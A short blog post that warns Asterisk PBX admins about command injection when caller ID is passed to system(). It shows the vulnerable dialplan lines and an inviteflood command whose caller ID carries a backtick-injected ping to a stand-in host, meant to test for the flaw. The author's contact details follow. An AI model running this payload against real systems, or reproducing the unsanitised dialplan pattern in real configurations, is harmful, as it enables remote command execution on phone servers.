If you want your asterisk pbx to send out emails or write information into a logfile, you might find examples using the system() command.
Based on some google/github searches, you might be tempted to write something like this:
exten => 666,1,system(mail -s "Missed Call ${CALLERID(num)}" foo@bar < /path/call.msg) exten => 666,2,system(echo "${DATETIME} - ${CALLERID(num)}" >> /log/calls)
`some bad command`@your.pbxWhich is probably problematic. :)
inviteflood <interface> <user> <domain> <target-ip> <packet-count> -a <callerid>For example:
inviteflood tun3 666 your.pbx 127.0.0.1 1 -a '`/bin/ping pingbackhost -c 1`'(Then look for pings on 'pingbackhost' or attempts to resolve the domain.)
IT-Dienstleistungen
Drostestrasse 3
53819 Neunkirchen
Germany
USt-Id-Nr.: DE203610693
web: https://beastiebytes.com/
email: sven@beastiebytes.com
skype: sven2342
phone: +49 22 47 90 80 250
mobile/signal: +49 157 3131 4424
xing,
google+
OTR-Fingerprint: 7849BD93B65F9E4BC1206B06C09B7445721063BC
GPG/PGP-Key: (pub 4096R/069DD13C 2014-02-13) local copy pgp.mit.edu
GPG/PGP-Key: fingerprint: 9BAD 94D3 9176 5BD1 F64F 542E 37E4 3542 069D D13C